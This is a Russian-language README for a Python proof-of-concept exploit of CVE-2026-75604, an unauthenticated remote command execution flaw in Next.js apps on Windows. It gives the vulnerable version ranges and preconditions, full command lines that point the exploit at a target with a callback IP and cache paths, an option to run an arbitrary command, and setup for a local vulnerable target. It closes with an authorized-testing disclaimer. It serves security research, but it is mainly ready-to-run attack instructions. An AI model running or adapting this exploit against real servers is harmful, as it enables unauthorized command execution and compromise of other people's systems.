PoC RCE для CVE-2026-75604

Доказательство концепции на Python для CVE-2026-75604 — уязвимости удалённого выполнения команд без аутентификации в приложениях Next.js, размещённых на Windows, которые используют одновременно Pages Router и App Router без Cache Components.

Демонстрация

Требования

• Next.js >=13.4 <15.5.24 или >=16.0 <16.3.3
• Нативный сервер Windows
• Pages Router и App Router без Cache Components
• Кэш файловой системы по умолчанию с динамическим маршрутом Pages ISR и динамическим кэшируемым маршрутом App
• Совместимый Server Action, привязанный к замыканию
• Python 3.9+ и адрес обратного вызова, доступный из целевой системы

Проверено с [email protected].

python -m pip install -r requirements.txt

Использование

python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

Путь Server Action по умолчанию — /. Используйте --action-field, если его форма содержит более одного поля.

Обязательные аргументы:

• --target URL: базовый URL приложения Next.js
• --callback-ip ADDRESS: IPv4-адрес, доступный из целевой системы
• --pages-cache-path PATH: существующая динамическая страница ISR Pages Router
• --app-cache-path PATH: существующая динамическая страница App Router, использующая кэш файловой системы

Необязательные аргументы:

• --command COMMAND: команда для выполнения; по умолчанию whoami
• --action-path PATH: страница App Router, содержащая совместимый Server Action; по умолчанию /
• --action-field NAME: поле формы, используемое действием; определяется автоматически, если однозначно
• --callback-port PORT: порт обратного вызова; по умолчанию 4331
• --listen-address ADDRESS: локальный адрес привязки обратного вызова; по умолчанию 0.0.0.0
• --timeout SECONDS: тайм-аут запроса и обратного вызова; по умолчанию 20
• --insecure: отключает проверку TLS-сертификата

Локальная целевая система

Необязательное приложение target/ фиксирует [email protected] и использует стандартный production-сервер Next.js:

cd target
npm ci
npm run build
npm start

Запустите PoC в другом терминале:

python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

Необязательная целевая система предоставляет необходимые маршруты и совместимый Server Action на /.

Отказ от ответственности

Данный PoC предоставляется исключительно в образовательных целях, для исследований в области безопасности и авторизованного тестирования. Используйте его только в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

Благодарности

Благодарность evolutionstorm и b0r1.

Данный PoC был независимо воссоздан по публичному advisory и патчу Next.js.